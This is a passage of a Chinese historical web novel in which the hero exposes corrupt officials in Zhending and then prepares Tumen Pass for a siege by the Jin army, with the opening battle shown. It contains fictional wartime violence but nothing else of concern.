《都让开,这大宋,我高衙内来救!》
第五十六章 蛀虫现形
宣和六年七月。热得人想死。
真定府的大街上,连狗都不愿意出门。全趴在阴凉地里,舌头伸得老长,眼珠子都懒得转——转一下都费劲。
但通判钱益来了。
带着人。带着文书。带着“查账”两个字,还有一脸“今天老子就要搞死你”的表情。
军器监的大门被推开的时候,高尧康正在后院看宇文虚试新做的霹雳弹。
轰——
一声巨响,震得屋檐上的灰往下掉。
外头那帮人吓得集体一哆嗦。有个衙役手里的铁链子哐当一声掉地上,差点砸着自己脚。
钱益倒是稳得住。站在门口,等烟散了,才迈步进来,脸上挂着那种“我是官你是贼”的笑。
“高衙内。”他皮笑肉不笑,拿袖子扇了扇眼前的烟,“好大动静。这是要把自己送走?”
高尧康拍拍手上的土,眼皮都没抬一下。
“钱通判。稀客啊。这么热的天,不在衙门里乘凉,跑我这儿来出汗?”
钱益把手里文书扬了扬,跟举圣旨似的。
“奉转运使之命,清查军器监账目。有人举报,你这里账目不清、私吞公帑。还有——”他顿了顿,声音拔高三度,生怕后面的人听不见,“擅启边衅,私调兵马,打死金国使臣要的人。”
他身后那帮衙役,哗啦一下把铁链子抖开了,抖得那叫一个整齐,一看就是排练过的。
杨蓁往前站了一步。手按在刀柄上。没说话,但眼神已经把对面十几个人全砍了一遍。
钱益看了她一眼,眼皮跳了跳。
“哟,杨娘子也在。正好。你也是证人。那天夜里出城,你跟着的吧?一起拿下,功劳平分。”
杨蓁没说话。但手指头在刀柄上敲了敲。
敲一下,钱益眼皮跳一下。
敲三下,钱益往后退了一步。
“怎么?想动手?”他嗓子有点尖,“高衙内,这可是大宋律法——账目不清,革职查办。擅启边衅,流三千里。打死友邦兵士,按律当斩。你要让她在这儿动手,罪加一等,全家连坐!”
高尧康伸手拦住杨蓁。动作慢悠悠的,跟拦自家护院的狗似的。
“钱通判,”他说,语气平静得像在聊今天吃什么,“你查账,我配合。但你得先告诉我,谁举报的?让我死也死个明白。”
钱益笑了。笑得很得意。
“这个,你到了大堂上,自然知道。走吧,别让兄弟们费事。”
他挥挥手。
衙役们往前涌。
然后停住了。
王彦从后院出来了。刘实从左边厢房出来了。鲁四带着二十几个弩手,从两边墙头上站起来了。弩都上了弦。箭头对着底下那帮人,阳光下亮晶晶的,跟过年挂的灯笼似的。
钱益脸色变了。
“高尧康!你想造反?!”
高尧康没理他。转过身,朝屋里喊了一声。
“苏娘子,麻烦把账本拿出来。”
帘子掀开。苏檀儿出来了。
她今天穿着件青色的褙子,头发挽得齐齐整整,脸上带着那种“老娘早就等着这一天”的表情。手里抱着厚厚一摞账本,走得稳稳当当,跟走红毯似的。走到钱益面前,把账本往他怀里一放,差点把他砸一跟头。
“钱通判,这是军器监自今年正月以来的所有账目。”她的声音不紧不慢,像在念经,“每一笔支出、每一笔收入、每一斤铁、每一两硝石、每一个铜钱,全在这儿。您要是眼睛好使,慢慢查。要是眼睛不好使,我给您念。”
她笑了笑。笑得很好看。笑得钱益后背发凉。
钱益低头看看那摞账本。少说有二三十本。全查完,得查到明年开春。
“你……你们……”
苏檀儿说:“对了,还有一份。是高衙内私人出资购买物资的账目。跟军器监的账分开记的。您要不要也看看?省得回头又说我们藏私。”
她从袖子里又掏出一本。薄薄的。递过去。
钱益没接。
他盯着苏檀儿。又盯着高尧康。脸上的肉开始抽。
“你们早就准备好了?”
高尧康说:“钱通判来查账,我们当然得准备好。不然怎么叫配合?难道等着你来抄家?”
钱益脸上一阵青一阵白。青的时候像茄子,白的时候像豆腐。
但他没退。
“好。账本我收下了。但是——”他把账本往地上一扔,砸出一声闷响,“账是账,边衅是边衅。高尧康,你三月里私自带兵出城,杀金国兵士,这事儿,有账本能抵吗?能抵吗?!”
他越说越来劲,声音都劈了。
“来人!给我拿下!”
衙役们又往前涌。涌得比上次慢,脚步比上次虚,眼睛老往墙头上瞄。
高尧康叹了口气。
“钱通判,我劝你看看地上那些账本。别光顾着喊,眼睛也得用。”
钱益低头。
账本散在地上。有一本翻开了。里头夹着几张纸。不是账页。是别的。
他弯腰捡起来。
看了一眼。
脸色变了。
又看了一眼。
手开始抖。
“这……这是……”
高尧康说:“那是去年腊月,你卖给中山府军粮的账。三千石陈粮,充作新粮。中山府签收的文书,你手下师爷的笔迹,还有你私刻的官防印子。都在那儿。你那个师爷,嘴不太严,三杯酒下肚什么都往外说。”
钱益瞪着他,眼珠子快瞪出来了。
“你……你哪儿来的?”
高尧康没回答。只是抬了抬下巴。
“钱通判,你再看看底下那张。那张更精彩。”
钱益往下翻。
又一张纸。
这回不是粮了。是军械。去年九月,转运使郑大人勾结商人,把一批次品的刀枪,充作上等货,卖给了真定府。那批刀,上阵就断。死了十七个兵。十七个,有名有姓,有家有口。
那张纸上,有商人的签字画押。有转运使衙门的小吏作证。还有那批刀枪的样品,存放在哪儿,什么时候取的,门牌号都写得清清楚楚。
钱益的手不抖了。
僵住了。整个人跟被人点了穴似的。
他抬起头。脸上的肉都在抽,跟中风前兆似的。
“你……你早就……”
高尧康往前走了两步,离他近了些。声音压低了,但字字清楚。
“钱通判,你查我,我认。但你查我之前,得先问问你自己——你经得起查吗?你那些烂账,糊弄糊弄外行还行,糊弄我?我三岁就跟账本打交道。”
钱益张了张嘴。没说出话来。嗓子眼里咕噜一声,跟吞了只蛤蟆似的。
外头忽然一阵脚步声。很急。很多人。
有人喊:“安抚使到——”
沈晦进来了。
他穿着官服,走得很快,官袍下摆都带风。身后跟着一队亲兵,个个腰杆挺直,目不斜视。
进来之后,他先看看钱益。又看看地上那些账本。再看看高尧康。最后看看墙头上那些弩手。
“怎么回事?”他的声音不高,但整个院子都静了。
钱益像见了亲爹,扑过去,差点跪地上抱大腿。
“沈安抚!高尧康他——他私藏兵器!他抗命不遵!他还——还诬陷朝廷命官!您看看这些,他伪造证据,栽赃陷害!”
沈晦看看他。又看看他手里那些纸。
“诬陷?”
钱益把手里的纸递过去,手抖得跟筛糠似的。
“是!绝对是伪造的!下官对朝廷忠心耿耿,绝无此事!这是他们想脱罪,故意——”
沈晦接过来。看了看。
然后抬起眼,看着钱益。
那眼神有点怪。像是在看一个傻子。
“钱通判,”他说,声音慢悠悠的,“你说这是伪造的?”
钱益拼命点头。点得脑袋都快掉了。
“是!绝对是!下官冤枉!”
沈晦沉默了一会儿。
然后从袖子里掏出封信。
“钱通判,这封信,你认得吗?”
钱益愣住了。
沈晦把信展开。念:
“‘真定府钱益,素来忠勤,可堪大用。唯军器监事,须得谨慎。高尧康所为,童枢密亦有耳闻,望妥善处之。’”
他顿了顿。
“这是童枢密府送来的。童师闵亲笔。昨天刚到我手里。”
钱益的脸,从白变青,从青变灰。跟调色盘似的。
沈晦把信收起来,动作慢条斯理。
“钱通判,童枢密都说要妥善处之了。你在这儿喊打喊杀,要拿人、要抄家,是几个意思?是童枢密的意思我没领会透,还是你比童枢密还急?”
钱益腿一软,跪下去了。跪得结结实实,膝盖磕在青石板上,听着都疼。
“沈安抚!下官……下官也是奉命行事!是郑转运使说……说高尧康有问题,让下官来查的!下官就是个跑腿的!”
沈晦点点头。脸上看不出喜怒。
“郑转运使。好。”
他转过身,朝外头喊了一声。
“来人。把郑怀义请来。”
郑怀义进来的时候,还不知道发生了什么。
他进门先看见钱益跪在地上。然后看见高尧康站在那儿,脸上带着“欢迎光临”的表情。然后看见沈晦坐在椅子上,手里拿着一摞纸,正朝他看。
他的脸色变了。变得比钱益还快。
“沈……沈安抚……”
沈晦把那摞纸递给他。
“郑转运使,你看看这个。慢慢看,不着急。”
郑怀义接过来。看了两眼。手开始抖。纸哗哗响。
“这……这是诬陷!下官从未——”
沈晦打断他。声音不大,但跟刀子似的。
“郑转运使,那批军械,现在还存放在城西王家货栈。你要不要去看看?王老板已经全交代了,什么时候交货,什么时候结账,收了多少钱,分给谁多少,说得比你还清楚。”
郑怀义不说话了。
嘴张着,但没声音。
沈晦站起来。
“郑怀义、钱益,二人勾结,贪墨军资、以次充好,致我大宋将士死于劣械。今证据确凿,按律——”
他顿了顿。
“革职。拿办。押送东京,交大理寺审理。所有家产,查封待查。”
郑怀义两腿一软,也跪下了。跪得比钱益还利索。
衙役们上来,把两个人架起来。往外拖。这回是真拖,脚都不沾地。
钱益被拖到门口,忽然回过神,拼命扭头朝高尧康喊:
“高尧康!你等着!童枢密知道你在真定干的这些事吗?他知道了,你也没好下场!你以为你赢了吗?你做梦!”
高尧康看着他。脸上带着那种“你是不是傻”的表情。
“钱通判,刚才那封信,你是没听明白,还是脑子不好使?”
钱益愣了一下。
高尧康说:“童枢密都知道。他都说要妥善处之了。你还要我怎么等?等你从东京回来继续查我?”
钱益被拖出去了。嘴里还在喊什么,但听不清了。
院子里安静下来。
沈晦看看高尧康。高尧康看看沈晦。
沈晦叹了口气。
“你小子,是真能藏。这些东西,藏了多久了?”
高尧康笑了笑。
“也没多久。就等着哪天有人来查我呢。”
沈晦摇摇头。想说什么,又咽回去了。
墙头上,鲁四探出脑袋。
“头儿,弩还举着吗?手有点酸。”
高尧康摆摆手。
“收了吧。今儿加餐。”
苏檀儿弯腰,把地上那些账本一本本捡起来。拍了拍灰。
杨蓁走到钱益跪过的地方,用脚蹭了蹭那块青石板。
“这人膝盖挺硬,”她说,“跪出个坑。”
第五十七章 你小子行
院子里安静下来。
沈晦站在那儿,盯着高尧康看了半天。
“你小子,”他忽然笑了,笑得有点意味不明,“行啊。”
高尧康抱了抱拳,姿势标准得能当教材:“多谢沈安抚。”
沈晦摆摆手,跟赶苍蝇似的:“别谢我。要谢就谢童家那位。他那封信来得是时候,不然我还真不好直接动手——毕竟郑怀义是转运使,论品级跟我平起平坐。”
他顿了顿,眼神往高尧康脸上瞄。
“不过话说回来,你那些证据,哪儿淘换来的?”
高尧康面不改色:“军器监天天跟物资打交道。进进出出的,总得知道东西是哪儿来的、往哪儿去的。时间长了,自然攒了点。”
沈晦盯着他,眼神跟X光似的。
“就这?”
“就这。”
沈晦又笑了。这回笑得挺大声。
“行。你不说,我不问。反正——”
他话说一半,摆摆手,转身往外走。走到门口,忽然停住,回过头。
“对了。你说的那个什么精兵据险、百姓内迁的章程,写出来没?写出来给我看看。”
高尧康说:“已经写好了。”
沈晦愣了一下:“什么时候写的?”
“上个月。”
沈晦看着他,眼神有点复杂。过了几秒,摇摇头。
“你小子,”他说,“是不是什么事儿都提前想三步?”
高尧康想了想:“习惯了。”
沈晦没再说话。转身走了。
背影消失在门口。
院子里又安静了。
苏檀儿弯腰,把地上那些账本一本本捡起来。拍拍灰,摞好,动作跟整理自家衣柜似的仔细。
杨蓁站在高尧康旁边,盯着他看。看得有点久。
“你那些证据,”她压低声音,凑近了些,“什么时候开始弄的?”
高尧康说:“从赵村回来之后。”
杨蓁算了算时间。那是三个多月前。
“你那时候就开始查他们了?”她眼睛睁大了一点,“那会儿你可还不知道会有人来查你吧?”
高尧康没说话。
杨蓁看着他。忽然觉得这个人有点陌生。
不是那种坏了的陌生。是那种——你以为你看懂了,结果发现下面还有一层。
她想起那天晚上,在军器监的院子里,他问她“你自己想”。她想了三个月。好像有点想明白了。
但又好像没完全明白。
她想再问点什么,张了张嘴,又不知道从哪儿问起。
苏檀儿抱着账本走过来。经过高尧康身边时,停了一下。
“高衙内,”她说,声音不高,但很清晰,“我爹来信了。”
高尧康看着她,等下文。
苏檀儿说:“他说,想来汴京走一走。拜拜码头。”
她说这话的时候,眼神有点飘,没看高尧康。
高尧康点点头:“什么时候?”
“下个月。”
高尧康想了想:“让他去。到了汴京,报我名字。我爹会见的。”
苏檀儿愣了一下。抬起头看他。
“高太尉?”
“嗯。”
苏檀儿看着他。眼神有点复杂。像是有话想说,又不知道怎么开口。
“你……你就这么让他去?”她声音压得更低了,“你爹那边……你不需要先打个招呼什么的?”
高尧康说:“我爹那边,我写信。”
苏檀儿张了张嘴。没说出话来。
她抱着账本走了。
走到门口,回头看了他一眼。
那一眼有点长。长到杨蓁都注意到了。
杨蓁看看苏檀儿的背影,又看看高尧康。眉毛挑了挑,但没说话。
晚上。高尧康在屋里写信。
写给他爹。
信很短。就几行。
“父亲大人安好。真定一切如常。钱益、郑怀义已除,沈晦处置得当,不必挂念。
前些日子河北富商苏半城欲往汴京谒拜,其女苏檀儿在真定助我颇多,于军资往来、账目打理,皆有功劳。父亲若见,不妨一见。不见也罢。
另,听闻父亲已在苏杭置产。甚好。儿在边地,所需不多。父亲保重身体。
儿尧康拜上。”
写完了。封好。交给阿福。
然后他坐在那儿,看着灯。
灯芯噼啪响。火光一跳一跳的。
他想起钱益被拖走时说的那句话——“童枢密知道了,你也没好下场。”
钱益说得对。童贯那种人,今天能用你,明天就能卖你。他们的联盟,说白了就是互相利用。哪天没利用价值了,或者哪天有更大的利益了,翻脸比翻书还快。
但他没办法。
现在这世道,想干点事,就得借势。借了,就得认。就得承担有一天被反噬的风险。
他吹灭灯。躺下。
外头有虫叫。叫了一夜。
七月底。沈晦采纳了部分建议。
百姓内迁,实行了。真定府北边三十里内的村子,全部搬到城墙附近。搬不走的房子,拆了。水井,填了。粮食,能带走的带走,带不走的烧掉。
干活的时候,有老百姓哭。有老百姓骂。也有老百姓沉默着,收拾家当,拖家带口往南走。
烽燧体系,也建了。从北边山口,每隔三十里,建一个烽火台。配上狼粪、柴草、专人看守。一旦看见金兵,就点火。一个传一个,两个时辰就能传到真定府。
那些烽火台建起来那天,高尧康去看过。站在台子上往北望,山连着山,天连着天。什么都看不见。
但他知道,那边有人。很多很多人。
随时可能过来。
但“精兵据险”那条,沈晦没全听。
那天在安抚使衙门,沈晦把章程往桌上一扔,靠着椅背,跷着腿。
“你说把精兵放在前头,依托山险,节节抵抗,”他说,“道理我懂。但兵从哪儿来?朝廷不给。粮从哪儿来?转运使刚换人,新来的那位我还没摸清楚路数。你让我拿什么去节节抵抗?拿嘴吗?”
高尧康站在那儿,没说话。
沈晦看着他,叹了口气。
“我知道你想的没错。但眼下,能把这些老百姓弄到城墙根底下,能把这几个烽火台建起来,已经是拼了老命了。剩下的,慢慢来。急不得。”
高尧康点点头。
他知道沈晦说得对。
纸上谈兵容易。真干起来,哪儿哪儿都是窟窿。
八月初。高俅的回信到了。
信也很短。
“信收悉。苏半城已见。河北富商,眼界不俗,谈吐尚可。其女在真定助你,甚好。但须记得:苏家是商贾,可用,不可全信。
苏杭田产已置。宅子也看了几处。有一处靠着河,院子大,能住几百人。你若回京,可去看看。
吾儿在边,功过皆易显眼。有功勿骄,有过……为父在朝,尚能周旋一二。
保重。”
高尧康看完。把信折起来。收好。
他站在窗前,看着外头。
院子里,宇文虚又在试新东西。这次是改良的猛火油柜。油管子加长了,喷出去能到五丈开外。王彦在旁边看着,一边看一边骂骂咧咧——他被喷了一身油,正拿着土往身上搓,搓得跟个泥人似的。
“宇文虚!你大爷的!你就不能提前说一声?!”
宇文虚头也不回:“说了你就不站那儿了?我不喷谁试试效果?”
“那你不会喷鲁四?!”
鲁四在旁边清点弩箭,头都不抬:“滚。我忙着呢。”
杨蓁在帮鲁四清点弩箭。一边点一边笑,笑得挺大声。笑着笑着,忽然抬头看了一眼高尧康这边的窗户。
就一眼。然后继续低头点箭。
苏檀儿从后头过来,手里拿着张单子。走到宇文虚跟前,两人对着单子指指点点——大概又在算成本。宇文虚比划着,苏檀儿摇着头。宇文虚又比划,苏檀儿还是摇头。最后宇文虚投降似的举起双手,苏檀儿拿着单子走了,脸上带着“这还差不多”的表情。
阳光晒着。尘土飞着。骂声、笑声、算账声混在一起。
高尧康看着这一幕。看了一会儿。
忽然想起信里那句话——“院子大,能住几百人。”
他笑了笑。
没出声。
远处,北边的天上,飘着几朵云。很白。很低。
像是压过来的。
第五十八章 山雨欲来
宣和七年十月初七。
风刮得人站不稳。真定府的城楼上,旗杆被吹得嘎吱响,旗面跟抽疯似的啪啪甩。
高尧康站在城楼上,看着北边。
天是灰的。地是灰的。远处的山,也是灰的。整个世界跟褪了色似的。
刘实从城下跑上来。跑得太急,上了台阶腿都软了,差点趴下。扶着墙喘了好几口气,跟条刚跑完十里地的狗似的。
“燕京……丢了。”
高尧康没动。连眼皮都没眨一下。
“什么时候?”
“三天前。完颜宗望的兵,从居庸关打进去。”刘实咽了口唾沫,“守城的那些兵,早跑没影了。咱们那点人……没撑住。一个时辰都没撑住。”
高尧康看着北边。没说话。
风把他的袍子吹得贴在身上,又吹开,又贴上,啪啪响。
杨蓁从城下上来。步子不快不慢。走到他旁边,站定。也没说话。
三个人就这么站着。像三根桩子。
站了很久。
“沈晦呢?”高尧康终于开口。
“在衙门。召集人议事。”刘实说,“听说吵起来了。”
“走。”
议事开了一个时辰。
吵了一个时辰。
有人拍桌子,说死守,死守到底,真定府城墙高三丈,金兵能飞进来?
有人冷笑,说守个屁,燕京城墙比真定还高,守住了吗?等朝廷援兵,赶紧等援兵。
有人急着把家眷往南送,说现在就送,趁着路还通。
还有一个人——转运使新来的那位——一直在那儿算账,拿着个小本本,问库里的粮草还能撑多久,够不够三个月,不够的话得赶紧报上去,别到时候怪咱们没提前说。
沈晦坐在上头。一句话没说。就那么坐着,看着底下这帮人吵。
等高尧康开口的时候,屋里静了静。
他说:“给我一道口子。”
沈晦看着他。
“哪道口子?”
“土门关。”
屋里有人笑出声来。
土门关。真定府北边八十里。一条山沟,两边是崖,中间一条路。路宽不到三丈。关口早就废了,墙塌了一半,守兵三十个。三十个,还都是老弱。
“给你那个破地方干嘛?”有人问,语气跟问傻子似的。
高尧康说:“那是金兵南下的必经之路。绕不开。守住那儿,真定就多十天。”
“十天顶什么用?”
“十天能给真定的百姓,多十天活命的时间。”
屋里又静了。
静得能听见外头的风声。
沈晦看了他一会儿。那眼神说不上是欣赏还是别的什么。
“给你多少人?”
“我现在有多少人?”
沈晦想了想:“去年八月,你报上来的是三千二。这一年多,又招了吧?”
高尧康说:“四千八。”
屋里有人倒吸一口气。
四千八。一个军器监,偷偷摸摸养了四千八。这他麻是监还是军?
沈晦倒没惊讶。他点点头。
“够不够?”
“不够。还得加民壮。”
“加多少?”
“越多越好。”
沈晦站起来。
“行。土门关归你。四千八百人全带走。军器监的东西,能搬的都搬走。库里的粮草,给你拨三个月的。”
他顿了顿。
“高尧康。”
“在。”
“别死。”
十月十二。土门关。
高尧康站在那堵塌了一半的墙跟前,看了半天。
墙跟狗啃过似的,东一个豁口西一个洞。关口的木门斜在那儿,门板都朽了,拿手一戳能戳个窟窿。
王彦在旁边骂娘。骂得抑扬顿挫,带韵脚的。
“这叫关?这叫破墙!这他麻就是个豁口!两边的山是陡,但人要是从边上爬过来呢?后头那条小道呢?堵得住吗?啊?堵得住吗?”
高尧康没理他。转过身,看着跟来的那四千八百人。
四千八百人,站在关前的空地上。黑压压一片。风刮着,没人动,没人说话。
最前头的是火枪队。一千人。每人一支火铳,腰里别着五六个纸筒,里头是定好的火药和弹丸。这是宇文虚这一年多最大的功劳——定装火药。不用临阵现量,撕开就倒,省了七八成的时间。
火枪队后头,是弩手。两千八百人。手里拿的是改良神臂弩。射程比老货远两成,上弦省三成力。八成的人都有。剩下两成拿的是普通弩,但也比别的营强。
再后头是刀手、枪手、辎重兵。最后头,是十辆车。
武刚车。改过的。
车厢上架着猛火油柜。油管子能转,能喷五丈远。车厢里头装着火药、霹雳弹、引火的东西。车外面包着铁皮,箭头射不穿。
王彦看见那十辆车,不骂了。
他走过去,绕着车转了一圈。伸手敲了敲铁皮,咚咚响。
“这玩意儿,”他咂咂嘴,“真能用?”
宇文虚在旁边,脸上没表情。这人向来没表情,跟面瘫似的。
“试过了。能用。”
“试了多少回?”
“十七回。炸了三回。”
王彦脸绿了。绿得跟春天的麦苗似的。
高尧康说:“炸的那三回,都是试的时候。现在不会炸了。”
王彦看着他。
“你保证?”
高尧康想了想:“我保证炸的时候咱们不在车上。”
王彦愣了愣。然后点点头。
“行。那还行。只要不是我在车上炸,就行。”
杨蓁在旁边忍不住笑了。
十月十五。土门关开始热闹了。
不是金兵来了。是老百姓来了。
山后头那几个村子,全搬过来了。扶老的、抱小的、赶着羊的、背着锅的、推着独轮车的,浩浩荡荡三四千人。鸡飞狗跳,孩子哭,大人喊,羊咩咩叫,热闹得跟赶集似的。
高尧康站在关墙上,看着那些人。
杨蓁在他旁边。
“不是说让他们往南撤吗?怎么往咱们这儿来了?”她皱着眉。
高尧康说:“往南撤得走两天。到咱们这儿,只要半天。他们怕路上出事。”
杨蓁看着他。
“是你让刘实去传的话?”
高尧康没说话。
杨蓁沉默了一会儿。
“你知道他们来了,就得管他们吃住。打仗的时候还得管他们死活。万一关破了,这些人……”
高尧康说:“万一关破了,他们在南边路上,也是死。”
杨蓁不说话了。
她看着那些百姓。老人、孩子、女人、还有几个瘸腿的男人。他们站在关下的空地上,仰着头往上看。看见墙上的旗,看见墙上的兵,看见高尧康。
有个人跪下了。然后是第二个。然后是第三个。一个接一个,跟多米诺骨牌似的。
高尧康转身下了墙。
十月十八。土门关的墙上,贴了一张告示。
《保家守土令》。
字写得大。站在三丈外都能看清。
——杀一金兵,赏钱十贯,或粮三石。
——斩首一级,可抵丁役一年。
——百姓参战者,全家由官仓供粮。
——战后,参战民壮,按功分田。真定府北,无主之地,尽数充公,按功分授。
落款:真定府土门关都巡检使、军都虞候高尧康。
告示贴出去半天,关下头就排起了队。
报名参战民壮的。报名转运物资的。报名帮忙做饭、送水、修墙、挖壕沟的。男的、女的、老的、少的,排出去二里地。
有个老头,牙都掉了一半,说话漏风,拄着拐杖站在队伍里。负责登记的小吏问他多大岁数。他说六十七。小吏说您老这岁数,回家抱孙子吧。老头拿拐杖敲他,敲得梆梆响。
“我孙子昨天就报上名了!他杀敌,我送饭,不行?”
小吏捂着脑袋,给他登了。
高尧康站在远处,看着这一幕。
苏檀儿走到他身边。
“东西都撤了吗?”高尧康问。
苏檀儿点点头。她今天穿着件灰扑扑的袄子,头发用布巾包着,跟那些百姓家的大嫂没什么两样。
“沈记联号在真定的货,三天前就全装车了。往南送。过了黄河,有咱们的仓。”
高尧康看着她。
“你不跟着走?”
苏檀儿没回答。她看着那边排队的百姓。
“你那个告示,”她说,“战后分田。那些地,现在还不是你的。你拿什么分?”
高尧康说:“打完仗,地就有了。”
苏檀儿愣了一下。然后笑了。笑得眼睛弯弯的。
“你是说,金兵占了的地,打回来就是咱们的?”
“嗯。”
“要是打不回来呢?”
高尧康没说话。
苏檀儿看着他的侧脸。看了一会儿。
“我爹来信了。”她说。
“说什么?”
“他说,汴京那边风声紧。金人打燕京,朝廷还在吵是战是和。吵了一个月,什么都没吵出来。”
高尧康点点头。没说话。
苏檀儿顿了顿。
“他还说,高太尉托人带了句话。让你……凡事留三分。别把家底全押上。”
高尧康看着她。
“你怎么回?”
苏檀儿说:“我说,押不押的,不是我一个做买卖的说了算。”
她顿了顿。
“但你要是真把家底押上了,沈记联号的账上,还有二十万贯活钱。你随时能调。”
高尧康看着她。
苏檀儿没躲他的目光。
“为什么?”
苏檀儿想了想。
“我爹想攀附高太尉。那是他的事。”
她指了指那边排队的百姓。
“这是我的事。”
她转身走了。
第五十九章 都要活着
十月二十二。土门关变了样。
墙修好了。不但修好,还加高了。外头挖了三道壕沟,沟底插着削尖的木桩。壕沟后头是鹿砦、拒马、铁蒺藜。铁蒺藜撒了一地,谁踩上去谁哭。
两边山崖上,建了哨台。白天看烟,晚上看火。三十里外的动静,一个时辰就能传回来。
关里头,搭了一片棚子。住人的、存粮的、喂马的、治伤的,分得清清楚楚。
最里头那个大院子,是“急救营”。杨蓁管着。
她这些天没干别的,就带着几十个女人,把从真定带来的药材、布条、刀伤药、止血散,全归置得整整齐齐。还绑了几十个担架,教那些民壮怎么抬人不会颠着伤口。
高尧康去看过一次。她正在教人怎么止血。手上一道一道比划,嘴里说“这儿按住了,这儿扎紧了,这儿别动,动就出血,出血就死”。那些女人听得认真,学得也快。
他站在门口看了一会儿。没进去。
她回头看见他。愣了一下。然后笑了笑。又转过去接着教。
那个笑很短。但他记住了。
十月二十五。刘实带回来消息。
他跑进关的时候,脸都是白的。
“金兵到易州了。离咱们不到两百里。”
高尧康站在地图前头。看着那条线。手指在地图上比了比。
“多少人?”
“前锋一万。后头还有。说是完颜宗望亲自带着,少说六万。”
王彦在旁边,脸上没表情。但他攥着刀把的手,指节发白。
“咱们这,不到五千。”
高尧康说:“加上民壮,能到八千。”
“八千对六万?”
“不是对。是挡。”
王彦看着他。
“挡多久?”
“能挡多久挡多久。”
王彦沉默了一会儿。
“行。”他说,声音不高,但很稳,“那就挡。”
晚上。高尧康在屋里写东西。
写的是信。给他爹的。
写了撕,撕了写。纸团扔了一地。写了三遍,最后就剩一行字:
“儿在土门关,一切安好。父亲保重。”
封好。交给阿福。
阿福走了。他站在门口,看着外头。
月亮很大。很亮。照得关上关下,一片白。跟下霜似的。
杨蓁从暗处走出来。站在他旁边。
“睡不着?”
“嗯。”
两个人站着。没说话。
远处传来一阵喊声。是王彦在训那些民壮。嗓门大得能传到山那头去。
“你们他麻的会不会使锄头?!挖个沟都挖不直,等着金兵来给你们挖坟吗?!”
杨蓁听着那喊声,忽然笑了。
“他那个嗓子,”她说,“打仗的时候不用敲锣。喊一嗓子,全关都听见了。”
高尧康也笑了。
笑完,又沉默了。
杨蓁说:“那天夜里,你问我为什么跟着你。”
高尧康看着她。
她说:“我现在想明白了。”
她转过头。看着他的眼睛。
“不是因为你不让我拖后腿。是因为你让我觉得,跟着你,能活成自己想活的样子。”
高尧康没说话。
她又转回去,看着月亮。
“就这。没别的。”
她转身走了。
走了几步,忽然停住。没回头。
“你活着。”她说,“我也活着。”
她走了
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高尧康站在原地。月亮照着他。
很久。
十一月初一。
探马回报。金兵前锋,离土门关不到五十里。
高尧康站在关墙上。身后是四千八百兵,三千多民壮。关下头,那些百姓还在忙。加固鹿砦的、搬运石头的、往壕沟里倒水的——水结了冰,滑得站不住人。
他转过身。看着那些人。
王彦站在墙边,正往腰里别刀。刘实在清点箭矢,一边点一边骂骂咧咧。周贵和张横在检查**,把**筒一个个倒出来看。鲁四带着人往墙头上搬石头,搬得满头大汗。
宇文虚蹲在那十辆武刚车旁边,最后一次检查猛火油柜。脸上还是没表情,但手摸得很慢,很仔细。
杨蓁在急救营门口,跟那些女人说话。一边说一边比划。那些女人点着头,脸绷得紧紧的。
远处,苏檀儿站在一堆物资旁边,手里拿着账本,正在清点。她抬起头,往关墙上看了看。看见他,点了点头。又低下头接着算。
他想起她那天说的话:“二十万贯活钱,随时能调。”
他想起杨蓁刚才说的话:“你活着,我也活着。”
他想起那些排队的百姓。那个拿拐杖敲人的老头。那些学止血的女人。那些绑担架的民壮。
他想起他爹信里那句话:“凡事留三分。别把家底全押上。”
他站在那儿。风刮着。旗子啪啪响。
他笑了笑。
然后开口。
“传令。”
“把所有能打仗的,全叫到关前头来。”
“一炷香。我有话说。”
北边,天边上,有一道细细的黑线。
正在往这边移。
第六十章 血战孤城
十一月初七。北风像刀子。刮在脸上,生疼。
金兵的营寨,扎在土门关北边五里。从关墙上望过去,黑压压一片,帐篷连着帐篷,火把连着火把。夜里头,那边亮得跟白天似的,热闹得像赶集。
高尧康站在关墙上,看了半个时辰。一动不动,跟冻住了似的。
刘实从墙下跑上来。脸冻得通红,嘴里喷着白气,跟烧开了的茶壶似的。
“来了个使臣。金人的。”
高尧康没回头。
“带过来。”
使臣是个汉人。穿着金人的皮袍子,梳着金人的辫子,但一开口,是幽州口音。他站在关下头,仰着脖子往上喊,那姿势跟叫门似的:
“大金国完颜宗望元帅有令——降者免死!献关者赏千金!半个时辰不回话,攻城!”
高尧康低头看着他。像看一只蚂蚁。
“你叫什么?”
那人愣了一下。“什么?”
“问你叫什么。汉人,给金人当狗,总得有个名字。不然回头给你立碑,都不知道刻什么。”
那人的脸涨红了。红得发紫。
“你——我家元帅好意——”
高尧康打断他。语气平静得像在说今天吃什么。
“刘实。”
“在。”
“把他舌头割了。耳朵割了。鼻子割了。然后送回去。”
刘实愣了一下。然后咧嘴笑了。
“得嘞。”
那人的脸白了。白得像纸。
高尧康转身下墙。
身后传来一声惨叫。很短。然后没了。
半个时辰后。金兵动了。
第一拨攻上来的是步兵。三千多人。举着盾牌,扛着云梯,踩着整齐的步子往关下走。走得慢。走得稳。跟阅兵似的。
高尧康站在关墙上,看着那些人。
身边的王彦攥着刀柄,攥得指节发白。白里透青。
“等。”高尧康说。
金兵进了第一道壕沟的范围。
“等。”
进了第二道。
“等。”
云梯架起来了。金兵开始往上爬。像蚂蚁上树。
高尧康举起手。
往下一砍。
鲁四的**箭出去了。
两千多支箭,从墙头上飞下去。嗡的一声,跟蜂群出巢似的。第一排金兵倒了一片。第二排顶上。又倒了一片。第三排顶上。
云梯上的人在往下掉。掉进壕沟里。沟底的木桩等着他们。噗嗤噗嗤,跟扎草人似的。
但后头的还在往上涌。
第一批金兵爬上墙头了。
王彦迎上去。一刀砍翻一个。又一刀,砍翻第二个。第三个扑上来,被刘实从旁边捅穿了肚子。刘实还顺手推了一把,那人掉下墙去,在半空中喊了半声。
高尧康没动。他站在那儿,看着墙下。
金兵的第二拨已经准备好了。密密麻麻,跟蚂蚁窝炸了似的。
他转过身。
“**队。上前。”
一千支火铳,从墙垛后头伸出去。黑洞洞的,跟一千个眼睛似的。
“放。”
轰轰轰轰轰。
白烟腾起来。遮住了半边天。呛得人直咳嗽。
烟散了。墙下头躺了一片。有的在动,有的不动。没死的往回爬。爬得慢的,被后头的督战队砍了。爬得快的,也被砍了——督战队不管死活,只要后退就砍。
金兵退了。
第一次进攻,撑了一个时辰。
那天夜里,金兵又攻了两次。
一次在二更。一次在四更。
二更那次,差点破了东边的墙。刘实带着人堵上去,**四十多个,才把缺口堵住。刘实自己肩膀上挨了一刀,肉都翻出来了,他拿布条一缠,接着打。
